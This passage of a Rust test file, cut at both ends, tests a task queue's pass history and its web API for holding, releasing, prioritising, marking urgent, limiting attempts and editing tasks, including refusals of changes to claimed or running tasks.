16671 "parked for upgrade 0.121.0 \u{2192} 0.121.1, attempt refunded"
16672 );
16673 let f = task_flow(&task, &h, 2, None);
16674 assert_eq!((f.passes, f.runs, f.attempts, f.max_attempts), (2, 1, 1, 2));
16676 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
16677 assert!(
16678 f.edges[1].label.contains("upgrade 0.121.0"),
16679 "{}",
16680 f.edges[1].label
16681 );
16682 assert!(
16683 f.edges[1].label.contains("resume the same run"),
16684 "{}",
16685 f.edges[1].label
16686 );
16687 assert_eq!(f.nodes[1].note, Some("parked"));
16688 }
16689
16690 #[test]
16691 fn distinct_run_ids_render_all_recorded_passes_in_time_order() {
16692 let mut a = flow_run(RunStatus::Implementing, |s| {
16693 s.passes = vec![
16694 recorded_pass(0, parked(upgrade_cause())),
16695 recorded_pass(1, None),
16696 ];
16697 });
16698 let mut b = flow_run(RunStatus::Failed, |s| {
16699 s.passes = vec![recorded_pass(0, None)];
16700 });
16701 a.passes[0].started_at = "2026-10-10T00:00:00Z".parse().unwrap();
16702 b.passes[0].started_at = "2026-10-10T01:00:00Z".parse().unwrap();
16703 a.passes[1].started_at = "2026-10-10T02:00:00Z".parse().unwrap();
16704 let mut task = flow_task(&[]);
16705 task.start("a".into());
16706 task.start("b".into());
16707 task.start("a".into());
16708 assert_eq!(task.runs, ["b", "a"]);
16709 task.passes = vec![settled_pass("a", 0, crate::queue::PassCost::Refunded)];
16710 let h = task_history(&task, |id| {
16711 Some(if id == "a" { a.clone() } else { b.clone() })
16712 });
16713 assert_eq!(
16714 h.iter().map(|v| v.id.as_str()).collect::<Vec<_>>(),
16715 ["a", "b", "a"]
16716 );
16717 assert_eq!(h[0].attempt, AttemptCost::Refunded);
16718 assert!(h[0].outcome.contains("upgrade"));
16719 assert_eq!(h[2].kind, "resume");
16720 assert!(h[2].pass.is_some());
16721 task.runs = vec!["a".into(), "b".into(), "a".into()];
16723 let old = task_history(&task, |id| {
16724 Some(if id == "a" { a.clone() } else { b.clone() })
16725 });
16726 assert_eq!(
16727 old.iter()
16728 .map(|v| (&v.id, &v.kind, v.attempt))
16729 .collect::<Vec<_>>(),
16730 h.iter()
16731 .map(|v| (&v.id, &v.kind, v.attempt))
16732 .collect::<Vec<_>>()
16733 );
16734 }
16735
16736 #[test]
16737 fn an_upgrade_whose_target_was_not_known_says_so() {
16738 let run = flow_run(RunStatus::Implementing, |s| {
16739 s.passes = vec![
16740 recorded_pass(
16741 0,
16742 parked(crate::run::ParkCause::Upgrade {
16743 from: "0.121.0".to_owned(),
16744 to: None,
16745 }),
16746 ),
16747 recorded_pass(1, None),
16748 ];
16749 });
16750 let task = flow_task(&[RUN_X, RUN_X]);
16751 let h = task_history(&task, |_| Some(run.clone()));
16752 assert!(
16753 h[0].outcome.contains("upgrade from 0.121.0"),
16754 "{}",
16755 h[0].outcome
16756 );
16757 assert_eq!(h[0].attempt, AttemptCost::Unknown);
16759 }
16760
16761 #[test]
16762 fn each_pass_keeps_its_own_cause_across_several_resumes() {
16763 use crate::queue::PassCost;
16764 use crate::run::ParkCause;
16765 let run = flow_run(RunStatus::Implementing, |s| {
16766 s.passes = vec![
16767 recorded_pass(0, parked(upgrade_cause())),
16768 recorded_pass(
16769 1,
16770 parked(ParkCause::Interrupt {
16771 reason: "task a1b2 asked to run first".to_owned(),
16772 }),
16773 ),
16774 recorded_pass(2, parked(ParkCause::Operator)),
16775 recorded_pass(3, None),
16776 ];
16777 });
16778 let mut task = flow_task(&[RUN_X, RUN_X, RUN_X, RUN_X]);
16779 task.attempts = 1;
16780 task.passes = (0..3)
16781 .map(|i| settled_pass(RUN_X, i, PassCost::Refunded))
16782 .collect();
16783 let h = task_history(&task, |_| Some(run.clone()));
16784 assert!(h[0].outcome.contains("upgrade 0.121.0"), "{}", h[0].outcome);
16785 assert!(
16786 h[1].outcome.contains("task a1b2 asked to run first"),
16787 "{}",
16788 h[1].outcome
16789 );
16790 assert!(!h[1].outcome.contains("upgrade"), "{}", h[1].outcome);
16791 assert!(
16792 h[2].outcome.contains("operator asked the loop to park"),
16793 "{}",
16794 h[2].outcome
16795 );
16796 assert!(h[3].outcome.is_empty() || !h[3].outcome.contains("upgrade"));
16797 let f = task_flow(&task, &h, 2, None);
16798 assert_eq!((f.passes, f.runs, f.attempts), (4, 1, 1));
16799 }
16800
16801 #[test]
16802 fn a_pass_the_next_one_found_open_is_unrecorded_never_an_upgrade() {
16803 let run = flow_run(RunStatus::Implementing, |s| {
16804 s.passes = vec![
16805 recorded_pass(0, Some(crate::run::PassEnd::Unrecorded)),
16806 recorded_pass(1, None),
16807 ];
16808 });
16809 let task = flow_task(&[RUN_X, RUN_X]);
16810 let h = task_history(&task, |_| Some(run.clone()));
16811 assert_eq!(h[0].exit, RunExit::Interrupted);
16812 assert_eq!(h[0].attempt, AttemptCost::Unknown);
16813 assert!(
16814 h[0].outcome.contains("without recording why"),
16815 "{}",
16816 h[0].outcome
16817 );
16818 assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
16819 assert_eq!(h[0].pass.as_ref().map(|p| p.end), Some("unrecorded"));
16820 }
16821
16822 #[test]
16823 fn a_record_from_before_passes_stays_unknown_even_next_to_recorded_ones() {
16824 use crate::queue::PassCost;
16825 let run = flow_run(RunStatus::Implementing, |s| {
16828 s.passes = vec![
16829 recorded_pass(0, parked(upgrade_cause())),
16830 recorded_pass(1, None),
16831 ];
16832 });
16833 let mut task = flow_task(&[RUN_X, RUN_X, RUN_X]);
16834 task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
16835 let h = task_history(&task, |_| Some(run.clone()));
16836 assert!(h[0].pass.is_none());
16837 assert_eq!(h[0].exit, RunExit::Interrupted);
16838 assert_eq!(h[0].attempt, AttemptCost::Unknown);
16839 assert!(h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
16840 assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
16841 assert!(h[1].outcome.contains("upgrade 0.121.0"), "{}", h[1].outcome);
16842 let legacy = flow_run(RunStatus::Implementing, |_| {});
16844 let h = task_history(&flow_task(&[RUN_X, RUN_X]), |_| Some(legacy.clone()));
16845 assert!(h.iter().all(|v| v.pass.is_none()));
16846 assert!(h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
16847 }
16848
16849 #[test]
16850 fn a_resume_outside_the_task_loop_does_not_shift_the_recorded_passes() {
16851 use crate::queue::PassCost;
16852 let mut web = recorded_pass(1, parked(crate::run::ParkCause::Operator));
16855 web.task_entry = false;
16856 let run = flow_run(RunStatus::Implementing, |s| {
16857 s.passes = vec![
16858 recorded_pass(0, parked(upgrade_cause())),
16859 web.clone(),
16860 recorded_pass(2, None),
16861 ];
16862 });
16863 let mut task = flow_task(&[RUN_X, RUN_X]);
16864 task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
16865 let h = task_history(&task, |_| Some(run.clone()));
16866 assert!(h[0].outcome.contains("upgrade 0.121.0"), "{}", h[0].outcome);
16867 assert!(!h[1].outcome.contains("not recorded"), "{}", h[1].outcome);
16868
16869 let mut web0 = recorded_pass(0, parked(upgrade_cause()));
16872 web0.task_entry = false;
16873 let run = flow_run(RunStatus::Implementing, |s| {
16874 s.passes = vec![web0.clone(), recorded_pass(1, None)];
16875 });
16876 let h = task_history(&flow_task(&[RUN_X, RUN_X]), |_| Some(run.clone()));
16877 assert!(h[0].pass.is_none());
16878 assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
16879 assert!(h[1].pass.is_some());
16880 }
16881
16882 #[tokio::test]
16883 async fn explicit_resumption_web_handler_matches_cli_without_a_listener() {
16884 let dir = tempfile::tempdir().unwrap();
16885 let queue = Queue::at(dir.path().join("queue"));
16886 let ui = Arc::new(Ui::new(
16887 queue.clone(),
16888 Questions::at(dir.path().join("questions")),
16889 Talks::at(dir.path().join("talks")),
16890 dir.path().join("runs"),
16891 dir.path().to_path_buf(),
16892 dir.path().to_path_buf(),
16893 ));
16894 let mut t = Task::new(
16895 "recover".into(),
16896 "Inspect".into(),
16897 PathBuf::from("."),
16898 Source::Human,
16899 );
16900 t.record_answer("Inspect then resume?".into(), "Inspect then wait".into());
16901 t.start("run-A".into());
16902 t.release_operator("choice", Some("resume-question"));
16903 t.resume_override = Some(crate::queue::OperatorResume {
16904 question_id: "resume-question".into(),
16905 at: jiff::Timestamp::now(),
16906 conductor_rehold: None,
16907 forced: true,
16908 pinned_run: Some("run-A".into()),
16909 });
16910 t.hold_machine(Some("inspection pending".into()));
16911 t.edit("recover".into(), "Reuse approved PR head".into())
16912 .unwrap();
16913 queue.put(&mut t).unwrap();
16914 let mut cli = t.clone();
16915 cli.release_operator("cli", None);
16916 let Json(reply) = queue_release(State(ui), Path(t.id.clone())).await.unwrap();
16917 let reloaded = queue.get(&t.id).unwrap();
16918 assert_eq!(reply.task.status, TaskStatus::Queued);
16919 assert!(reloaded.resume_override.is_none());
16920 assert_eq!(reloaded.answers, t.answers);
16921 let mut web = reloaded.resumption.unwrap();
16922 let cli = cli.resumption.unwrap();
16923 assert_eq!(web.source, "web");
16924 web.source = cli.source.clone();
16925 web.at = cli.at;
16926 assert_eq!(web, cli);
16927 }
16928
16929 #[tokio::test]
16930 async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
16931 let f = Fixture::start().await;
16932 let queue = f.queue();
16933 let mut task = Task::new(
16934 "spent".to_owned(),
16935 "Try again".to_owned(),
16936 PathBuf::from("/repo/magi"),
16937 Source::Human,
16938 );
16939 task.start("20260902-140502-bbbb".to_owned());
16940 task.fail("agent gave up", 9);
16941 queue.put(&mut task).expect("file the task");
16942
16943 let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
16944 assert_eq!(held.status, 200);
16945 assert_eq!(held.json()["status_str"], "held");
16946
16947 let released = f
16948 .post(&format!("/api/queue/{}/release", task.id), None)
16949 .await;
16950 assert_eq!(released.status, 200);
16951 assert_eq!(released.json()["status_str"], "queued");
16952 assert_eq!(released.json()["resumption"]["source"], "web");
16953 assert_eq!(released.json()["resumption"]["instruction"], "Try again");
16954 let mut cli = task.clone();
16955 cli.release_operator("cli", None);
16956 let web = queue.get(&task.id).unwrap().resumption.unwrap();
16957 let cli = cli.resumption.unwrap();
16958 assert_eq!(web.instruction, cli.instruction);
16959 assert_eq!(web.answers_through, cli.answers_through);
16960 assert_eq!(web.runs_through, cli.runs_through);
16961 assert_eq!(web.cleared_reason, cli.cleared_reason);
16962 assert_eq!(
16963 released.json()["attempts"],
16964 0,
16965 "release is a real second chance, not an instant re-hold"
16966 );
16967 assert_eq!(
16968 queue.get(&task.id).expect("reload").status,
16969 TaskStatus::Queued,
16970 "the change is on disk, not only in the reply"
16971 );
16972 assert!(
16973 !f.home
16974 .path()
16975 .join("queue")
16976 .join(format!("{}.lock", task.id))
16977 .exists(),
16978 "the claim the mutation took is released again"
16979 );
16980 }
16981
16982 #[tokio::test]
16983 async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
16984 let f = Fixture::start().await;
16985 let queue = f.queue();
16986 let mut task = Task::new(
16987 "busy".to_owned(),
16988 "Running right now".to_owned(),
16989 PathBuf::from("/repo/magi"),
16990 Source::Human,
16991 );
16992 queue.put(&mut task).expect("file the task");
16993 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
16994
16995 let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
16996
16997 assert_eq!(res.status, 409);
16998 assert_eq!(
16999 queue.get(&task.id).expect("reload").status,
17000 TaskStatus::Queued,
17001 "the refused hold changed nothing"
17002 );
17003 }
17004
17005 #[tokio::test]
17006 async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
17007 let f = Fixture::start().await;
17008 let queue = f.queue();
17009 let mut task = Task::new(
17010 "waiting on the migration".to_owned(),
17011 "Do the thing".to_owned(),
17012 PathBuf::from("/repo/magi"),
17013 Source::Human,
17014 );
17015 queue.put(&mut task).expect("file the task");
17016
17017 let held = f
17018 .post(
17019 &format!("/api/queue/{}/hold", task.id),
17020 Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
17021 )
17022 .await;
17023 assert_eq!(held.status, 200, "{}", held.body);
17024 assert_eq!(held.json()["status_str"], "held");
17025 assert_eq!(
17026 held.json()["hold_reason"],
17027 "waiting for 20260101-000000-aaaa to land"
17028 );
17029
17030 let listed = f.get("/api/queue").await.json();
17031 assert_eq!(
17032 listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
17033 "the card reads the reason off the same list route"
17034 );
17035
17036 let mut plain = Task::new(
17039 "no reason given".to_owned(),
17040 "Do another thing".to_owned(),
17041 PathBuf::from("/repo/magi"),
17042 Source::Human,
17043 );
17044 queue.put(&mut plain).expect("file the task");
17045 let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
17046 assert_eq!(held_plain.status, 200, "{}", held_plain.body);
17047 assert!(held_plain.json()["hold_reason"].is_null());
17048
17049 let released = f
17050 .post(&format!("/api/queue/{}/release", task.id), None)
17051 .await;
17052 assert_eq!(released.status, 200);
17053 assert!(
17054 released.json()["hold_reason"].is_null(),
17055 "a release must clear the reason so the next hold does not inherit it"
17056 );
17057 }
17058
17059 #[test]
17060 fn urgent_request_requires_a_boolean_and_rejects_unknown_fields() {
17061 for urgent in [true, false] {
17062 let body: UrgentBody =
17063 serde_json::from_value(serde_json::json!({ "urgent": urgent })).unwrap();
17064 assert_eq!(body.urgent, urgent);
17065 }
17066 for input in [
17067 r#"{}"#,
17068 r#"{"urgent":null}"#,
17069 r#"{"urgent":"true"}"#,
17070 r#"{"urgent":1}"#,
17071 r#"{"urgent":true,"extra":false}"#,
17072 ] {
17073 assert!(
17074 serde_json::from_str::<UrgentBody>(input).is_err(),
17075 "{input}"
17076 );
17077 }
17078 }
17079
17080 #[tokio::test]
17081 async fn urgent_handler_saves_and_rejects_claims_without_a_server() {
17082 let home = TempDir::new().unwrap();
17083 let q = Queue::at(home.path().join("queue"));
17084 let ui = Arc::new(Ui::new(
17085 q.clone(),
17086 Questions::at(home.path().join("questions")),
17087 Talks::at(home.path().join("talks")),
17088 home.path().join("runs"),
17089 home.path().into(),
17090 home.path().into(),
17091 ));
17092 let mut task = Task::new(
17093 "urgent handler".into(),
17094 "keep".into(),
17095 home.path().into(),
17096 Source::Human,
17097 );
17098 for status in [TaskStatus::Queued, TaskStatus::Held] {
17099 task.status = status;
17100 q.put(&mut task).unwrap();
17101 for urgent in [true, true, false, false] {
17102 let saved = queue_urgent(
17103 State(Arc::clone(&ui)),
17104 Path(task.short().into()),
17105 Ok(Json(UrgentBody { urgent })),
17106 )
17107 .await
17108 .unwrap();
17109 assert_eq!(serde_json::to_value(saved.0).unwrap()["urgent"], urgent);
17110 assert_eq!(q.get(&task.id).unwrap().urgent, urgent);
17111 }
17112 }
17113 task.status = TaskStatus::Queued;
17114 q.put(&mut task).unwrap();
17115 let claim = q.claim(&task.id).unwrap();
17116 let error = queue_urgent(
17117 State(Arc::clone(&ui)),
17118 Path(task.id.clone()),
17119 Ok(Json(UrgentBody { urgent: true })),
17120 )
17121 .await
17122 .unwrap_err();
17123 assert_eq!(error.status, StatusCode::CONFLICT);
17124 assert!(error.message.contains("released"));
17125 drop(claim);
17126 for status in [
17127 TaskStatus::Running,
17128 TaskStatus::Done,
17129 TaskStatus::Failed,
17130 TaskStatus::Blocked,
17131 TaskStatus::Parked,
17132 ] {
17133 task.status = status;
17134 q.put(&mut task).unwrap();
17135 let error = queue_urgent(
17136 State(Arc::clone(&ui)),
17137 Path(task.id.clone()),
17138 Ok(Json(UrgentBody { urgent: false })),
17139 )
17140 .await
17141 .unwrap_err();
17142 assert_eq!(error.status, StatusCode::BAD_REQUEST);
17143 assert!(error.message.contains(status.as_str()));
17144 }
17145 }
17146
17147 #[tokio::test]
17148 async fn urgent_api_updates_preserves_and_validates_tasks() {
17149 let f = Fixture::start().await;
17150 let q = f.queue();
17151 let mut t = Task::new(
17152 "urgent API".into(),
17153 "unchanged".into(),
17154 PathBuf::from("/repo/magi"),
17155 Source::Human,
17156 );
17157 t.attempts = 2;
17158 t.priority = 9;
17159 t.interrupt = true;
17160 t.hold_reason = Some("waiting for approval".into());
17161 for status in [TaskStatus::Queued, TaskStatus::Held] {
17162 t.status = status;
17163 q.put(&mut t).unwrap();
17164 for urgent in [true, true, false, false] {
17165 let response = f
17166 .post(
17167 &format!("/api/queue/{}/urgent", t.short()),
17168 Some(&format!("{{\"urgent\":{urgent}}}")),
17169 )
17170 .await;
17171 assert_eq!(response.status, 200, "{}", response.body);
17172 assert_eq!(response.json()["urgent"], urgent);
17173 let saved = q.get(&t.id).unwrap();
17174 let mut before = serde_json::to_value(&t).unwrap();
17175 let mut after = serde_json::to_value(saved).unwrap();
17176 before["urgent"] = urgent.into();
17177 before.as_object_mut().unwrap().remove("updated_at");
17178 after.as_object_mut().unwrap().remove("updated_at");
17179 assert_eq!(after, before);
17180 }
17181 }
17182 let route = format!("/api/queue/{}/urgent", t.id);
17183 for body in [
17184 r#"{}"#,
17185 r#"{"urgent":null}"#,
17186 r#"{"urgent":"true"}"#,
17187 r#"{"urgent":1}"#,
17188 r#"{"urgent":true,"extra":false}"#,
17189 "{",
17190 ] {
17191 assert_eq!(f.post(&route, Some(body)).await.status, 400);
17192 }
17193 t.status = TaskStatus::Queued;
17194 q.put(&mut t).unwrap();
17195 let claim = q.claim(&t.id).unwrap();
17196 let response = f.post(&route, Some(r#"{"urgent":true}"#)).await;
17197 assert_eq!(response.status, 409, "{}", response.body);
17198 assert!(!q.get(&t.id).unwrap().urgent);
17199 drop(claim);
17200 for status in [
17201 TaskStatus::Running,
17202 TaskStatus::Done,
17203 TaskStatus::Failed,
17204 TaskStatus::Blocked,
17205 TaskStatus::Parked,
17206 ] {
17207 t.status = status;
17208 q.put(&mut t).unwrap();
17209 for urgent in [true, false] {
17210 let response = f
17211 .post(&route, Some(&format!("{{\"urgent\":{urgent}}}")))
17212 .await;
17213 assert_eq!(response.status, 400, "{}", response.body);
17214 assert!(response.body.contains(status.as_str()));
17215 assert!(response.body.contains("queued or held"));
17216 assert!(!q.get(&t.id).unwrap().urgent);
17217 }
17218 }
17219 assert_eq!(
17220 f.post("/api/queue/missing/urgent", Some(r#"{"urgent":true}"#))
17221 .await
17222 .status,
17223 404
17224 );
17225 }
17226
17227 #[tokio::test]
17228 async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
17229 let f = Fixture::start().await;
17230 let queue = f.queue();
17231 let mut older = Task::new(
17232 "filed first".to_owned(),
17233 "x".to_owned(),
17234 PathBuf::from("/repo/magi"),
17235 Source::Human,
17236 );
17237 older.id = "20260101-000001-aaaa".to_owned();
17238 let mut newer = Task::new(
17239 "filed second".to_owned(),
17240 "x".to_owned(),
17241 PathBuf::from("/repo/magi"),
17242 Source::Human,
17243 );
17244 newer.id = "20260101-000002-bbbb".to_owned();
17245 queue.put(&mut older).expect("file older");
17246 queue.put(&mut newer).expect("file newer");
17247
17248 let before = f.get("/api/queue").await.json();
17251 assert_eq!(before[0]["id"], newer.id);
17252 assert_eq!(before[1]["id"], older.id);
17253
17254 let raised = f
17258 .post(
17259 &format!("/api/queue/{}/priority", older.id),
17260 Some(r#"{"priority":10}"#),
17261 )
17262 .await;
17263 assert_eq!(raised.status, 200, "{}", raised.body);
17264 assert_eq!(raised.json()["priority"], 10);
17265
17266 let after = f.get("/api/queue").await.json();
17267 let names: Vec<&str> = after
17268 .as_array()
17269 .unwrap()
17270 .iter()
17271 .map(|t| t["id"].as_str().unwrap())
17272 .collect();
17273 assert_eq!(names[0], older.id, "the raised task now sorts first");
17277 }
17278
17279 #[tokio::test]
17280 async fn task_attempt_limit_api_persists_validates_and_refuses_claims() {
17281 let dir = TempDir::new().unwrap();
17282 let q = Queue::at(dir.path().join("queue"));
17283 let ui = Arc::new(Ui::new(
17284 q.clone(),
17285 Questions::at(dir.path().join("questions")),
17286 Talks::at(dir.path().join("talks")),
17287 dir.path().join("runs"),
17288 dir.path().to_path_buf(),
17289 dir.path().to_path_buf(),
17290 ));
17291 let mut t = Task::new(
17292 "budget".into(),
17293 "keep".into(),
17294 dir.path().into(),
17295 Source::Human,
17296 );
17297 t.attempts = 2;
17298 t.runs.push("prior-run".into());
17299 t.hold_manual(Some("waiting".into()));
17300 q.put(&mut t).unwrap();
17301 let change = |value| {
17302 queue_attempt_limit(
17303 State(ui.clone()),
17304 Path(t.id.clone()),
17305 Ok(Json(AttemptLimitBody {
17306 attempt_limit: value,
17307 })),
17308 )
17309 };
17310 for value in [
17311 serde_json::json!(3),
17312 serde_json::Value::Null,
17313 serde_json::json!(1),
17314 ] {
17315 let response = change(value.clone()).await.unwrap();
17316 assert_eq!(
17317 serde_json::to_value(response.0).unwrap()["attempt_limit"],
17318 value
17319 );
17320 let saved = q.get(&t.id).unwrap();
17321 assert_eq!(
17322 serde_json::to_value(&saved).unwrap()["attempt_limit"],
17323 value
17324 );
17325 assert_eq!(saved.status, TaskStatus::Held);
17326 assert_eq!(saved.attempts, t.attempts);
17327 assert_eq!(saved.runs, t.runs);
17328 assert_eq!(saved.hold_reason, t.hold_reason);
17329 let detail = task_detail(State(ui.clone()), Path(t.id.clone()))
17330 .await
17331 .unwrap()
17332 .0;
17333 assert_eq!(detail.max_attempts, saved.effective_attempt_limit(2));
17334 assert_eq!(detail.flow.max_attempts, detail.max_attempts);
17335 let outcome = task_outcome(&saved, "prior-run", 2, |_| None);
17336 assert_eq!(outcome.max_attempts, detail.max_attempts);
17337 }
17338 for value in [
17339 serde_json::json!(0),
17340 serde_json::json!(-1),
17341 serde_json::json!(1.5),
17342 serde_json::json!("3"),
17343 serde_json::json!(true),
17344 ] {
17345 assert_eq!(
17346 change(value).await.err().unwrap().status,
17347 StatusCode::BAD_REQUEST
17348 );
17349 }
17350 assert!(serde_json::from_str::<AttemptLimitBody>("{}").is_err());
17351 let claim = q.claim(&t.id).unwrap();
17352 assert_eq!(
17353 change(serde_json::json!(4)).await.err().unwrap().status,
17354 StatusCode::CONFLICT
17355 );
17356 drop(claim);
17357 for status in [
17358 TaskStatus::Running,
17359 TaskStatus::Done,
17360 TaskStatus::Failed,
17361 TaskStatus::Blocked,
17362 TaskStatus::Parked,
17363 ] {
17364 let mut stored = q.get(&t.id).unwrap();
17365 stored.status = status;
17366 q.put(&mut stored).unwrap();
17367 assert_eq!(
17368 change(serde_json::json!(4)).await.err().unwrap().status,
17369 StatusCode::BAD_REQUEST
17370 );
17371 assert_eq!(q.get(&t.id).unwrap().attempt_limit.unwrap().get(), 1);
17372 }
17373 let mut stored = q.get(&t.id).unwrap();
17374 stored.status = TaskStatus::Queued;
17375 q.put(&mut stored).unwrap();
17376 let _ = change(serde_json::Value::Null).await.unwrap();
17377 assert_eq!(q.get(&t.id).unwrap().attempt_limit, None);
17378 }
17379
17380 #[tokio::test]
17381 async fn task_implementers_api_persists_and_refuses_claimed_or_finished_tasks() {
17382 let dir = TempDir::new().unwrap();
17383 let repo = dir.path().join("repo");
17384 std::fs::create_dir(&repo).unwrap();
17385 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).unwrap();
17386 let q = Queue::at(dir.path().join("queue"));
17387 let ui = Arc::new(Ui::new(
17388 q.clone(),
17389 Questions::at(dir.path().join("questions")),
17390 Talks::at(dir.path().join("talks")),
17391 dir.path().join("runs"),
17392 dir.path().to_path_buf(),
17393 repo.clone(),
17394 ));
17395 let mut t = Task::new(
17396 "seats".into(),
17397 "keep instruction".into(),
17398 repo,
17399 Source::Human,
17400 );
17401 t.runs.push("prior-run".into());
17402 t.hold_manual(Some("waiting".into()));
17403 q.put(&mut t).unwrap();
17404 let change = |count| {
17405 queue_implementers(
17406 State(ui.clone()),
17407 Path(t.id.clone()),
17408 Ok(Json(ImplementersBody {
17409 implementers: count,
17410 })),
17411 )
17412 };
17413 for count in [2, 1, 2] {
17414 let response = change(count).await.unwrap();
17415 assert_eq!(response.0.task.implementers(), Some(usize::from(count)));
17416 let saved = q.get(&t.id).unwrap();
17417 assert_eq!(saved.implementers(), Some(usize::from(count)));
17418 assert_eq!(saved.runs, t.runs);
17419 assert_eq!(saved.instruction, t.instruction);
17420 }
17421 for count in [0, 4] {
17422 assert_eq!(
17423 change(count).await.err().unwrap().status,
17424 StatusCode::BAD_REQUEST
17425 );
17426 }
17427 assert!(serde_json::from_str::<ImplementersBody>(r#"{"implementers":256}"#).is_err());
17428 let claim = q.claim(&t.id).unwrap();
17429 assert_eq!(change(1).await.err().unwrap().status, StatusCode::CONFLICT);
17430 drop(claim);
17431 for status in [
17432 TaskStatus::Running,
17433 TaskStatus::Done,
17434 TaskStatus::Failed,
17435 TaskStatus::Blocked,
17436 TaskStatus::Parked,
17437 ] {
17438 let mut stored = q.get(&t.id).unwrap();
17439 stored.status = status;
17440 q.put(&mut stored).unwrap();
17441 assert_eq!(
17442 change(1).await.err().unwrap().status,
17443 StatusCode::BAD_REQUEST
17444 );
17445 assert_eq!(q.get(&t.id).unwrap().implementers(), Some(2));
17446 }
17447 }
17448
17449 #[tokio::test]
17450 async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
17451 let f = Fixture::start().await;
17452 let queue = f.queue();
17453 let mut task = Task::new(
17454 "in flight".to_owned(),
17455 "x".to_owned(),
17456 PathBuf::from("/repo/magi"),
17457 Source::Human,
17458 );
17459 task.start("20260902-140502-bbbb".to_owned());
17460 queue.put(&mut task).expect("file the task");
17461
17462 let res = f
17463 .post(
17464 &format!("/api/queue/{}/priority", task.id),
17465 Some(r#"{"priority":9}"#),
17466 )
17467 .await;
17468 assert_eq!(res.status, 400, "{}", res.body);
17469 assert!(
17470 res.json()["error"]
17471 .as_str()
17472 .is_some_and(|e| e.contains("running")),
17473 "{}",
17474 res.body
17475 );
17476 assert_eq!(
17477 queue.get(&task.id).expect("reload").priority,
17478 0,
17479 "the refused write must not partially apply"
17480 );
17481 }
17482
17483 #[tokio::test]
17484 async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
17485 let f = Fixture::start().await;
17486 let queue = f.queue();
17487 let mut task = Task::new(
17488 "old title".to_owned(),
17489 "old instruction".to_owned(),
17490 PathBuf::from("/repo/magi"),
17491 Source::Agent {
17492 run: "20260101-000000-beef".to_owned(),
17493 node: "implement".to_owned(),
17494 },
17495 );
17496 task.runs.push("20260101-000000-beef".to_owned());
17497 queue.put(&mut task).expect("file the task");
17498 let created_at = task.created_at;
17499
17500 let edited = f
17501 .post(
17502 &format!("/api/queue/{}/edit", task.id),
17503 Some(r#"{"title":"new title","instruction":"new instruction"}"#),
17504 )
17505 .await;
17506 assert_eq!(edited.status, 200, "{}", edited.body);
17507 let body = edited.json();
17508 assert_eq!(body["title"], "new title");
17509 assert_eq!(body["instruction"], "new instruction");
17510 assert_eq!(body["id"], task.id, "editing must not mint a new id");
17511 assert_eq!(body["created_at"], created_at.to_string());
17512 assert_eq!(
17513 body["source"]["kind"], "agent",
17514 "editing a task an agent filed must not turn it human: {body}"
17515 );
17516 assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
17517
17518 let reloaded = queue.get(&task.id).expect("reload");
17519 assert_eq!(reloaded.title, "new title");
17520 assert_eq!(reloaded.instruction, "new instruction");
17521 }
17522
17523 #[tokio::test]
17524 async fn editing_in_a_duplicate_is_a_409_naming_the_match_until_forced() {
17525 let tmp = TempDir::new().expect("tempdir");
17528 let repo = tmp.path().join("repo");
17529 std::fs::create_dir_all(&repo).expect("repo dir");
17530 let judge = MOCK_AGENT_TOML.replace(
17531 "printf ok",
17532 r#"printf '{\"duplicate\":true,\"reason\":\"same branch\"}'"#,
17533 );
17534 std::fs::write(repo.join("magi.toml"), judge).expect("write magi.toml");
17535 let f = Fixture::with_repo(repo.clone()).await;
17536 let queue = f.queue();
17537 let mut owner = Task::new(
17538 "owner".to_owned(),
17539 "review it".to_owned(),
17540 repo.clone(),
17541 Source::Human,
17542 );
17543 owner.review_branch = Some("magi/ab12/A".to_owned());
17544 queue.put(&mut owner).expect("file the owner");
17545 let mut task = Task::new(
17546 "draft".to_owned(),
17547 "old".to_owned(),
17548 repo.clone(),
17549 Source::Human,
17550 );
17551 queue.put(&mut task).expect("file the draft");
17552 let url = format!("/api/queue/{}/edit", task.id);
17553
17554 let refused = f
17555 .post(
17556 &url,
17557 Some(r#"{"title":"t","instruction":"land magi/ab12/A"}"#),
17558 )
17559 .await;
17560 assert_eq!(refused.status, 409, "{}", refused.body);
17561 let msg = refused.json()["error"]
17562 .as_str()
17563 .unwrap_or_default()
17564 .to_owned();
17565 assert!(
17566 msg.contains("magi/ab12/A") && msg.contains("force"),
17567 "{msg}"
17568 );
17569 assert_eq!(queue.get(&task.id).expect("reload").instruction, "old");
17570
17571 let forced = f
17572 .post(
17573 &url,
17574 Some(r#"{"title":"t","instruction":"land magi/ab12/A","force":true}"#),
17575 )
17576 .await;
17577 assert_eq!(forced.status, 200, "{}", forced.body);
17578 }
17579
17580 #[tokio::test]
17581 async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
17582 let f = Fixture::start().await;
17583 let queue = f.queue();
17584 let mut task = Task::new(
17585 "in flight".to_owned(),
17586 "do not touch".to_owned(),
17587 PathBuf::from("/repo/magi"),
17588 Source::Human,
17589 );
17590 task.start("20260902-140502-bbbb".to_owned());
17591 queue.put(&mut task).expect("file the task");
17592
17593 let res = f
17594 .post(
17595 &format!("/api/queue/{}/edit", task.id),
17596 Some(r#"{"title":"x","instruction":"y"}"#),
17597 )
17598 .await;
17599 assert_eq!(res.status, 400, "{}", res.body);
17600 assert!(
17601 res.json()["error"]
